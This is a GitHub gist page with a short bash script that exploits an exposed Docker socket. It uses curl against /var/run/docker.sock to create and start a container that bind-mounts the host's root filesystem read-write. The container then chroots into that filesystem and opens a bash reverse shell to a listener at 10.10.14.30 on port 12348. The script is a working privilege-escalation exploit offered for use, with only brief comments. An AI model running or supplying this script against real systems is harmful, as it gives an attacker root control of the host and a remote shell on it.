Skip to content

Instantly share code, notes, and snippets.

@SanariSan

SanariSan/exploit-docker-sock.sh

Forked from PwnPeter/exploit-docker-sock.sh
Created November 6, 2023 05:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SanariSan/b4ecdb4d9cd0aabaf15a6895bbebd736 to your computer and use it in GitHub Desktop.
Save SanariSan/b4ecdb4d9cd0aabaf15a6895bbebd736 to your computer and use it in GitHub Desktop.
Download ZIP
Exploit docker.sock to mount root filesystem in a container
Raw
exploit-docker-sock.sh
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
# create the container and execute command, bind the root filesystem to it, name the container peterpwn_root and execute as detached (-d)
curl -s -X POST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=peterpwn_root
# start the container
curl -s -X POST --unix-socket /var/run/docker.sock "http://localhost/containers/peterpwn_root/start"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment